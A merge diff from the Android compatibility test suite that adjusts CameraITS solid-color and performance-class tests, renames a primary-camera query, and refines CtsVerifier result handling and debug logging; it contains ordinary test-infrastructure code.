Merge "Migrate PermissionGrantTest." into sc-v2-dev
diff --git a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
index 0c352307..5b1b74b 100644
--- a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
+++ b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
@@ -26,10 +26,16 @@
import its_session_utils
-_BW_CH_ATOL = 6 # DN in [0,255]
-_RGB_PRIMARY_MIN = 200
-_RGB_SECONDARY_MAX = 60
-_CH_VARIANCE_ATOL = 30
+# YUV TOLs
+_BW_CH_ATOL_YUV = 6 # DN in [0,255]
+_RGB_PRIMARY_MIN_YUV = 200
+_RGB_SECONDARY_MAX_YUV = 60
+_CH_VARIANCE_ATOL_YUV = 30
+# RAW TOLs
+_BW_CH_ATOL_RAW = 1 # DN in [0,255]
+_RGB_PRIMARY_MIN_RAW = 250
+_RGB_SECONDARY_MAX_RAW = 30 # experiments show secondary after CCM applied
+_CH_VARIANCE_ATOL_RAW = 1
_OFF = 0x00000000
_SAT = 0xFFFFFFFF
_NAME = os.path.basename(__file__).split('.')[0]
@@ -52,7 +58,8 @@
'RGGB': (_OFF, _OFF, _OFF, _SAT),
'RGB': (0, 0, 255)}
-_COLORS_CHECKED_RGB = (_BLACK, _WHITE, _RED, _GREEN, _BLUE)
+_COLORS_CHECKED_RAW = (_BLACK, _WHITE, _RED, _GREEN, _BLUE)
+_COLORS_CHECKED_YUV = (_BLACK,)
_COLORS_CHECKED_MONO = (_BLACK, _WHITE)
_COLORS_CHECKED_UPGRADE = (_BLACK,)
_COLORS_CHECKED_BLACK = (_WHITE,) # To make sure testPatternData is ignored
@@ -64,16 +71,29 @@
_BLACK_TEST_PATTERN: 'BLACK'}
-def check_solid_color(img, exp_values, color):
+def check_solid_color(img, exp_values, color, fmt):
"""Checks solid color test pattern image matches expected values.
Args:
img: capture converted to RGB image
exp_values: list of RGB [0:1] expected values
- color: str; color to check.
+ color: str; color to check
+ fmt: str; capture format.
Returns:
True if any of the checks fail.
"""
+ # Assign tolerances
+ if fmt == 'raw':
+ bw_ch_atol = _BW_CH_ATOL_RAW
+ rgb_primary_min = _RGB_PRIMARY_MIN_RAW
+ rgb_secondary_max = _RGB_SECONDARY_MAX_RAW
+ ch_variance_atol = _CH_VARIANCE_ATOL_RAW
+ else:
+ bw_ch_atol = _BW_CH_ATOL_YUV
+ rgb_primary_min = _RGB_PRIMARY_MIN_YUV
+ rgb_secondary_max = _RGB_SECONDARY_MAX_YUV
+ ch_variance_atol = _CH_VARIANCE_ATOL_YUV
+
test_fail = False
logging.debug('Checking %s solid test pattern w/ RGB values %s',
color, str(exp_values))
@@ -83,41 +103,42 @@
image_processing_utils.compute_image_variances(img)]
logging.debug('Captured frame variances: %s', str(rgb_vars))
if color in ['BLACK', 'WHITE']:
- if not np.allclose(rgb_means, exp_values, atol=_BW_CH_ATOL):
+ if not np.allclose(rgb_means, exp_values, atol=bw_ch_atol):
logging.error('Image not expected value for color %s. '
'RGB means: %s, expected: %s, ATOL: %d',
- color, str(rgb_means), str(exp_values), _BW_CH_ATOL)
+ color, str(rgb_means), str(exp_values), bw_ch_atol)
test_fail = True
- if not all(i < _CH_VARIANCE_ATOL for i in rgb_vars):
+ if not all(i < ch_variance_atol for i in rgb_vars):
logging.error('Image has too much variance for color %s. '
'RGB variances: %s, ATOL: %d',
- color, str(rgb_vars), _CH_VARIANCE_ATOL)
+ color, str(rgb_vars), ch_variance_atol)
test_fail = True
else:
exp_values_mask = np.array(exp_values)//255
primary = max(rgb_means*exp_values_mask)
secondary = max((1-exp_values_mask)*rgb_means)
- if primary < _RGB_PRIMARY_MIN:
+ if primary < rgb_primary_min:
logging.error('Primary color %s not bright enough.'
'RGB means: %s, expected: %s, MIN: %d',
- color, str(rgb_means), str(exp_values), _RGB_PRIMARY_MIN)
+ color, str(rgb_means), str(exp_values), rgb_primary_min)
test_fail = True
- if secondary > _RGB_SECONDARY_MAX:
+ if secondary > rgb_secondary_max:
logging.error('Secondary colors too bright in %s. '
'RGB means: %s, expected: %s, MAX: %d',
- color, str(rgb_means), str(exp_values), _RGB_SECONDARY_MAX)
+ color, str(rgb_means), str(exp_values), rgb_secondary_max)
+ test_fail = True
primary_rgb_vars = max(rgb_vars*exp_values_mask)
secondary_rgb_vars = max((1-exp_values_mask)*rgb_vars)
- if primary_rgb_vars > _CH_VARIANCE_ATOL:
+ if primary_rgb_vars > ch_variance_atol:
logging.error('Image primary color has too much variance for %s. '
'RGB variances: %s, ATOL: %d',
- color, str(rgb_vars), _CH_VARIANCE_ATOL)
+ color, str(rgb_vars), ch_variance_atol)
test_fail = True
- elif secondary_rgb_vars > _CH_VARIANCE_ATOL:
+ elif secondary_rgb_vars > ch_variance_atol:
logging.error('Image secondary color has too much variance for %s. '
'RGB variances: %s, ATOL: %d',
- color, str(rgb_vars), _CH_VARIANCE_ATOL)
+ color, str(rgb_vars), ch_variance_atol)
return test_fail
@@ -150,7 +171,10 @@
if camera_properties_utils.mono_camera(props):
colors_checked_solid = _COLORS_CHECKED_MONO
else:
- colors_checked_solid = _COLORS_CHECKED_RGB
+ if camera_properties_utils.raw16(props):
+ colors_checked_solid = _COLORS_CHECKED_RAW
+ else:
+ colors_checked_solid = _COLORS_CHECKED_YUV
else:
colors_checked_solid = _COLORS_CHECKED_UPGRADE
@@ -191,7 +215,11 @@
req = capture_request_utils.auto_capture_request()
req['android.sensor.testPatternMode'] = pattern
req['android.sensor.testPatternData'] = color['RGGB']
- fmt = {'format': 'yuv'}
+ if camera_properties_utils.raw16(props):
+ fmt = {'format': 'raw'}
+ else:
+ fmt = {'format': 'yuv'}
+ logging.debug('Using format: %s', fmt['format'])
caps = cam.do_capture([req]*num_frames, fmt)
cap = caps[-1]
logging.debug('Capture metadata RGGB pattern: %s, '
@@ -208,11 +236,11 @@
# Check solid pattern for correctness
if pattern == _SOLID_COLOR_TEST_PATTERN:
- color_test_failed = check_solid_color(img, color['RGB'],
- captured_color)
+ color_test_failed = check_solid_color(
+ img, color['RGB'], color['color'], fmt['format'])
else:
- color_test_failed = check_solid_color(img, _BLACK['RGB'],
- _BLACK['color'])
+ color_test_failed = check_solid_color(
+ img, _BLACK['RGB'], _BLACK['color'], fmt['format'])
if color_test_failed:
colors_failed.append(f'{captured_pattern}/{captured_color}')
diff --git a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
index c19b6f7a..e1ed893 100644
--- a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
@@ -11,7 +11,7 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-"""Verify camera startup is < 500ms for both front and back primary cameras.
+"""Verify camera startup is < 600ms for both front and back primary cameras.
"""
import logging
@@ -22,15 +22,14 @@
import its_base_test
import its_session_utils
-CAMERA_LAUNCH_R_PERFORMANCE_CLASS_THRESHOLD = 600 # ms
-CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 500 # ms
+CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 600 # ms
class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest):
"""Test camera launch latency for S performance class as specified in CDD.
[7.5/H-1-7] MUST have camera2 startup latency (open camera to first preview
- frame) < 500ms as measured by the CTS camera PerformanceTest under ITS
+ frame) < 600ms as measured by the CTS camera PerformanceTest under ITS
lighting conditions (3000K) for both primary cameras.
"""
@@ -41,8 +40,8 @@
device_id=self.dut.serial,
camera_id=self.camera_id) as cam:
- perf_class_level = cam.get_performance_class_level()
- camera_properties_utils.skip_unless(perf_class_level >= 11)
+ camera_properties_utils.skip_unless(
+ cam.is_performance_class_primary_camera())
# Load chart for scene.
props = cam.get_camera_properties()
@@ -56,14 +55,9 @@
camera_id=self.camera_id)
launch_ms = cam.measure_camera_launch_ms()
- if perf_class_level >= 12:
- perf_class_threshold = CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD
- else:
- perf_class_threshold = CAMERA_LAUNCH_R_PERFORMANCE_CLASS_THRESHOLD
-
- if launch_ms >= perf_class_threshold:
+ if launch_ms >= CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD:
raise AssertionError(f'camera launch time: {launch_ms} ms, THRESH: '
- f'{perf_class_threshold} ms')
+ f'{CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD} ms')
else:
logging.debug('camera launch time: %.1f ms', launch_ms)
diff --git a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
index 74aefd5..ba4867b 100644
--- a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
@@ -22,7 +22,7 @@
import its_base_test
import its_session_utils
-JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD = 1000 # ms
+JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD = 1000 # ms
class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
@@ -41,7 +41,7 @@
camera_id=self.camera_id) as cam:
camera_properties_utils.skip_unless(
- cam.get_performance_class_level() >= 11)
+ cam.is_performance_class_primary_camera())
# Load chart for scene.
props = cam.get_camera_properties()
@@ -55,10 +55,10 @@
camera_id=self.camera_id)
jpeg_capture_ms = cam.measure_camera_1080p_jpeg_capture_ms()
- if jpeg_capture_ms >= JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD:
+ if jpeg_capture_ms >= JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD:
raise AssertionError(f'1080p jpeg capture time: {jpeg_capture_ms} ms, '
f'THRESH: '
- f'{JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD} ms')
+ f'{JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD} ms')
else:
logging.debug('1080p jpeg capture time: %.1f ms', jpeg_capture_ms)
diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py
index 3289b91..4c47388 100644
--- a/apps/CameraITS/utils/its_session_utils.py
+++ b/apps/CameraITS/utils/its_session_utils.py
@@ -1093,24 +1093,25 @@
' support')
return data['strValue'] == 'true'
- def get_performance_class_level(self):
+ def is_performance_class_primary_camera(self):
"""Query whether the camera device is an R or S performance class primary camera.
A primary rear/front facing camera is a camera device with the lowest
camera Id for that facing.
Returns:
- Performance class level in integer. R: 11. S: 12.
+ Boolean
"""
cmd = {}
- cmd['cmdName'] = 'getPerformanceClassLevel'
+ cmd['cmdName'] = 'isPerformanceClassPrimaryCamera'
cmd['cameraId'] = self._camera_id
self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
data, _ = self.__read_response_from_socket()
- if data['tag'] != 'performanceClassLevel':
- raise error_util.CameraItsError('Failed to query performance class level')
- return int(data['strValue'])
+ if data['tag'] != 'performanceClassPrimaryCamera':
+ raise error_util.CameraItsError('Failed to query performance class '
+ 'primary camera')
+ return data['strValue'] == 'true'
def measure_camera_launch_ms(self):
"""Measure camera launch latency in millisecond, from open to first frame.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
index 99df613..ab02210 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
@@ -16,7 +16,6 @@
package com.android.cts.verifier;
-import com.android.cts.verifier.TestListAdapter.TestListItem;
import android.app.ListActivity;
import android.content.Intent;
import android.content.res.Configuration;
@@ -27,6 +26,8 @@
import android.view.Window;
import android.widget.ListView;
+import com.android.cts.verifier.TestListAdapter.TestListItem;
+
/** {@link ListActivity} that displays a list of manual tests. */
public abstract class AbstractTestListActivity extends ListActivity {
private static final int LAUNCH_TEST_REQUEST_CODE = 9001;
@@ -54,6 +55,8 @@
private Intent getIntent(int position) {
TestListItem item = mAdapter.getItem(position);
+ Intent intent = item.intent;
+ intent.putExtra(TestResult.TEST_START_TIME, mStartTime);
return item.intent;
}
@@ -86,6 +89,11 @@
}
protected void handleLaunchTestResult(int resultCode, Intent data) {
+ // The mStartTime can be the initial 0 if this Activity has been recreated.
+ if (mStartTime == 0 && data.hasExtra(TestResult.TEST_START_TIME)) {
+ mStartTime = data.getLongExtra(TestResult.TEST_START_TIME, 0);
+ }
+
if (resultCode == RESULT_OK) {
// If subtest didn't set end time, set current time
if (mEndTime == 0) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java b/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
index 4da2ad6..b013bb7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
@@ -62,7 +62,8 @@
throw new IOException("External storage is not mounted");
} else if ((!logDirectory.exists() && !logDirectory.mkdirs())
|| (logDirectory.exists() && !logDirectory.isDirectory())) {
- throw new IOException("Cannot create directory for device info files");
+ throw new IOException("Cannot create directory " + logDirectory
+ + " for device info files");
} else {
File jsonFile = new File(logDirectory, mReportLogName + ".reportlog.json");
mStore = new ReportLogDeviceInfoStore(jsonFile, mStreamName);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index eaeb5f3..825cc98 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -181,16 +181,19 @@
@Override
protected List<TestListItem> getRows() {
+ List<TestListItem> allRows = new ArrayList<TestListItem>();
+
// When launching at the first time or after killing the process, needs to fetch the
// test items of all display modes as the bases for switching.
- if (!sInitialLaunch) {
- return getRowsWithDisplayMode(sCurrentDisplayMode);
+ if (mDisplayModesTests.isEmpty()) {
+ for (DisplayMode mode : DisplayMode.values()) {
+ allRows = getRowsWithDisplayMode(mode.toString());
+ mDisplayModesTests.put(mode.toString(), allRows);
+ }
}
- List<TestListItem> allRows = new ArrayList<TestListItem>();
- for (DisplayMode mode: DisplayMode.values()) {
- allRows = getRowsWithDisplayMode(mode.toString());
- mDisplayModesTests.put(mode.toString(), allRows);
+ if (!sInitialLaunch) {
+ return getRowsWithDisplayMode(sCurrentDisplayMode);
}
return allRows;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
index b729a2d..1ac9efa 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
@@ -43,6 +43,7 @@
import java.util.HashMap;
import java.util.List;
import java.util.Map;
+import java.util.concurrent.atomic.AtomicBoolean;
/**
* {@link BaseAdapter} that handles loading, refreshing, and setting test
@@ -81,6 +82,9 @@
/** Map from test name to {@link TestResultHistoryCollection}. */
private final Map<String, TestResultHistoryCollection> mHistories = new HashMap<>();
+ /** Flag to identify whether the mHistories has been loaded. */
+ private final AtomicBoolean mHasLoadedResultHistory = new AtomicBoolean(false);
+
private final LayoutInflater mLayoutInflater;
/** Map from display mode to the list of {@link TestListItem}.
@@ -258,11 +262,10 @@
class RefreshTestResultsTask extends AsyncTask<Void, Void, RefreshResult> {
@Override
protected RefreshResult doInBackground(Void... params) {
- List<TestListItem> rows;
+ List<TestListItem> rows = getRows();
// When initial launch, needs to fetch tests in the unfolded/folded mode
// to be stored in mDisplayModesTests as the basis for the future switch.
if (sInitialLaunch) {
- getRows();
sInitialLaunch = false;
}
@@ -287,6 +290,7 @@
mReportLogs.putAll(result.mReportLogs);
mHistories.clear();
mHistories.putAll(result.mHistories);
+ mHasLoadedResultHistory.set(true);
notifyDataSetChanged();
}
}
@@ -388,8 +392,29 @@
@Override
protected Void doInBackground(Void... params) {
+ if (mHasLoadedResultHistory.get()) {
+ mHistoryCollection.merge(null, mHistories.get(mTestName));
+ } else {
+ // Loads history from ContentProvider directly if it has not been loaded yet.
+ ContentResolver resolver = mContext.getContentResolver();
+
+ try (Cursor cursor = resolver.query(
+ TestResultsProvider.getTestNameUri(mContext, mTestName),
+ new String[] {TestResultsProvider.COLUMN_TEST_RESULT_HISTORY},
+ null,
+ null,
+ null)) {
+ if (cursor.moveToFirst()) {
+ do {
+ TestResultHistoryCollection historyCollection =
+ (TestResultHistoryCollection) deserialize(cursor.getBlob(0));
+ mHistoryCollection.merge(null, historyCollection);
+ } while (cursor.moveToNext());
+ }
+ }
+ }
TestResultsProvider.setTestResult(
- mContext, mTestName, mResult, mDetails, mReportLog, mHistoryCollection);
+ mContext, mTestName, mResult, mDetails, mReportLog, mHistoryCollection);
return null;
}
}
@@ -431,7 +456,7 @@
@Override
public int getCount() {
if (!sInitialLaunch && checkTestsFromMainView()) {
- return mDisplayModesTests.get(sCurrentDisplayMode).size();
+ return mDisplayModesTests.getOrDefault(sCurrentDisplayMode, new ArrayList<>()).size();
}
return mRows.size();
}
@@ -501,7 +526,7 @@
* @return A count of test items.
*/
public int getCount(String mode){
- return mDisplayModesTests.get(mode).size();
+ return mDisplayModesTests.getOrDefault(mode, new ArrayList<>()).size();
}
/**
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
index 4818484..4ca1acf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
@@ -19,13 +19,12 @@
import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
-import com.android.compatibility.common.util.ReportLog;
-import com.android.compatibility.common.util.TestResultHistory;
-
import android.app.Activity;
import android.content.Intent;
import android.util.Log;
+import com.android.compatibility.common.util.ReportLog;
+
/**
* Object representing the result of a test activity like whether it succeeded or failed.
* Use {@link #setPassedResult(Activity, String, String)} or
@@ -40,6 +39,7 @@
public static final int TEST_RESULT_NOT_EXECUTED = 0;
public static final int TEST_RESULT_PASSED = 1;
public static final int TEST_RESULT_FAILED = 2;
+ public static final String TEST_START_TIME = "start_time";
private static final String TEST_NAME = "name";
private static final String TEST_RESULT = "result";
@@ -101,7 +101,11 @@
public static Intent createResult(Activity activity, int testResult, String testName,
String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+ Intent activityIntent = activity.getIntent();
Intent data = new Intent(activity, activity.getClass());
+ if (activityIntent.hasExtra(TEST_START_TIME)) {
+ data.putExtra(TEST_START_TIME, activityIntent.getLongExtra(TEST_START_TIME, 0));
+ }
addResultData(data, testResult, testName, testDetails, reportLog, historyCollection);
return data;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
index c8b1a86..9071e02 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
@@ -33,6 +33,8 @@
import android.net.Uri;
import android.os.ParcelFileDescriptor;
+import androidx.annotation.NonNull;
+
import com.android.compatibility.common.util.ReportLog;
import java.io.ByteArrayOutputStream;
@@ -44,8 +46,6 @@
import java.util.Arrays;
import java.util.Comparator;
-import androidx.annotation.NonNull;
-
/**
* {@link ContentProvider} that provides read and write access to the test results.
*/
@@ -104,7 +104,16 @@
public static Uri getTestNameUri(Context context) {
String name = context.getClass().getName();
name = setTestNameSuffix(sCurrentDisplayMode, name);
- final String testName = name;
+ return getTestNameUri(context, name);
+ }
+
+ /**
+ * Gets the URI from the context and test name.
+ * @param context current context
+ * @param testName name of the test which needs to get the URI
+ * @return the URI for the test result
+ */
+ public static Uri getTestNameUri(Context context, String testName) {
return Uri.withAppendedPath(getResultContentUri(context), testName);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java
index 5dfe1f7..e5b5710 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java
@@ -27,6 +27,7 @@
import android.net.Uri;
import android.os.Bundle;
import android.provider.Settings;
+import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.ImageView;
@@ -67,9 +68,13 @@
private final BroadcastReceiver mPackageAddedListener = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
- final Uri uri = intent.getData();
+ Log.d(TAG, "onReceive(): " + intent);
+ Uri uri = intent.getData();
if (uri != null && ADMIN_PACKAGE_NAME.equals(uri.getSchemeSpecificPart())) {
onAdminPackageInstalled();
+ } else {
+ Log.d(TAG, "ignoring intent with URI " + uri + " (expecting it to be for "
+ + ADMIN_PACKAGE_NAME + ")");
}
}
};
@@ -91,6 +96,9 @@
mAdminInstalled = isPackageInstalled(ADMIN_PACKAGE_NAME);
mAdminActivated = mDevicePolicyManager.isAdminActive(mAdmin);
}
+ Log.d(TAG, "onCreate(): mAdmin=" + mAdmin + ", pkg= " + ADMIN_PACKAGE_NAME
+ + ", mAdminInstalled=" + mAdminInstalled + ", mAdminRemoved=" + mAdminRemoved
+ + ", mAdminActivated=" + mAdminActivated);
mInstallStatus = findViewById(R.id.install_admin_status);
mInstallAdminText = findViewById(R.id.install_admin_instructions);
if (!mAdminInstalled) {
@@ -109,6 +117,7 @@
}
private void onAdminPackageInstalled() {
+ Log.d(TAG, "onAdminPackageInstalled()");
mAdminInstalled = true;
updateWidgets();
unregisterReceiver(mPackageAddedListener);
@@ -120,6 +129,7 @@
packageInfo = getPackageManager().getPackageInfo(packageName, 0);
} catch (PackageManager.NameNotFoundException exc) {
// Expected.
+ Log.d(TAG, "getPackageInfo(" + packageName + ") failed: " + exc);
}
return packageInfo != null;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 69a63f2..63d9687 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -737,9 +737,9 @@
doCheckStreamCombination(cmdObj);
} else if ("isCameraPrivacyModeSupported".equals(cmdObj.getString("cmdName"))) {
doCheckCameraPrivacyModeSupport();
- } else if ("getPerformanceClassLevel".equals(cmdObj.getString("cmdName"))) {
+ } else if ("isPerformanceClassPrimaryCamera".equals(cmdObj.getString("cmdName"))) {
String cameraId = cmdObj.getString("cameraId");
- doGetPerformanceClassLevel(cameraId);
+ doCheckPerformanceClassPrimaryCamera(cameraId);
} else if ("measureCameraLaunchMs".equals(cmdObj.getString("cmdName"))) {
String cameraId = cmdObj.getString("cameraId");
doMeasureCameraLaunchMs(cameraId);
@@ -1082,9 +1082,9 @@
hasPrivacySupport ? "true" : "false");
}
- private void doGetPerformanceClassLevel(String cameraId) throws ItsException {
- boolean isSPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S);
- boolean isRPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R);
+ private void doCheckPerformanceClassPrimaryCamera(String cameraId) throws ItsException {
+ boolean isPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S
+ || Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R);
if (mItsCameraIdList == null) {
mItsCameraIdList = ItsUtils.getItsCompatibleCameraIds(mCameraManager);
@@ -1116,9 +1116,8 @@
throw new ItsException("Failed to get camera characteristics", e);
}
- mSocketRunnableObj.sendResponse("performanceClassLevel",
- (isSPerfClass && isPrimaryCamera) ? "12" :
- ((isRPerfClass && isPrimaryCamera) ? "11" : "0"));
+ mSocketRunnableObj.sendResponse("performanceClassPrimaryCamera",
+ (isPerfClass && isPrimaryCamera) ? "true" : "false");
}
private double invokeCameraPerformanceTest(Class testClass, String testName,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index 1fe4768..4b188d8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -34,7 +34,7 @@
* Checks whether the device supports configing (e.g. disable, enable) location
*/
public static boolean isConfigLocationSupported(Context context) {
- return !isWatchOrAutomotive(context);
+ return !isWatch(context);
}
/**
@@ -73,6 +73,14 @@
}
/**
+ * Checks whether the device is watch .
+ */
+ private static boolean isWatch(Context context) {
+ PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+ }
+
+ /**
* Checks whether the device is watch or automotive
*/
private static boolean isWatchOrAutomotive(Context context) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index cfaa520..627ec44 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -592,6 +592,7 @@
}
private void clearAllPoliciesAndRestrictions() throws Exception {
+ Log.d(TAG, "clearAllPoliciesAndRestrictions() started");
clearProfileOwnerRelatedPolicies();
clearPolicyTransparencyUserRestriction(
PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER);
@@ -630,6 +631,7 @@
// Must wait until package is uninstalled to reset affiliation ids, otherwise the package
// cannot be removed on headless system user mode (as caller must be an affiliated PO)
+ Log.d(TAG, "resetting affiliation ids");
mDpm.setAffiliationIds(mAdmin, Collections.emptySet());
removeManagedProfile();
@@ -637,6 +639,7 @@
EnterprisePrivacyTestDefaultAppActivity.COMPONENT_NAME,
PackageManager.COMPONENT_ENABLED_STATE_DEFAULT,
PackageManager.DONT_KILL_APP);
+ Log.d(TAG, "clearAllPoliciesAndRestrictions() finished");
}
private void clearProfileOwnerRelatedPoliciesAndRestrictions(int mode) {
@@ -645,11 +648,13 @@
}
private void clearProfileOwnerRelatedPolicies() {
+ Log.d(TAG, "clearProfileOwnerRelatedPolicies() started");
mDpm.setKeyguardDisabledFeatures(mAdmin, 0);
mDpm.setPasswordQuality(mAdmin, 0);
mDpm.setMaximumTimeToLock(mAdmin, 0);
mDpm.setPermittedAccessibilityServices(mAdmin, null);
mDpm.setPermittedInputMethods(mAdmin, null);
+ Log.d(TAG, "clearProfileOwnerRelatedPolicies() finished");
}
private void clearPolicyTransparencyUserRestriction(int mode) {
@@ -660,7 +665,8 @@
}
private void removeManagedProfile() {
- for (final UserHandle userHandle : mUm.getUserProfiles()) {
+ for (UserHandle userHandle : mUm.getUserProfiles()) {
+ Log.d(TAG, "removing managed profile for " + userHandle);
mDpm.removeUser(mAdmin, userHandle);
}
}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
index 93e911e..b6d10c0 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
@@ -36,7 +36,7 @@
import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.packages.Package;
import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.nene.users.User;
+import com.android.bedstead.nene.users.UserReference;
import java.time.Duration;
import java.time.Instant;
@@ -191,14 +191,15 @@
throw new IllegalStateException("Interrupted while binding to service", e);
}
} else {
- User user = (mEventLogsQuery.getUserHandle() == null)
- ? TestApis.users().instrumented().resolve()
- : TestApis.users().find(mEventLogsQuery.getUserHandle()).resolve();
- if (user == null) {
+ UserReference user = (mEventLogsQuery.getUserHandle() == null)
+ ? TestApis.users().instrumented()
+ : TestApis.users().find(mEventLogsQuery.getUserHandle());
+ if (!user.exists()) {
throw new AssertionError("Tried to bind to user " + mEventLogsQuery.getUserHandle() + " but does not exist");
}
- if (user.state() != User.UserState.RUNNING_UNLOCKED) {
- throw new AssertionError("Tried to bind to user " + user + " but they are not RUNNING_UNLOCKED");
+ if (!user.isUnlocked()) {
+ throw new AssertionError("Tried to bind to user " + user
+ + " but they are not unlocked");
}
Package pkg = TestApis.packages().find(mPackageName);
if (!pkg.installedOnUser(user)) {
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index 0396f74..cfdef77 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -78,7 +78,6 @@
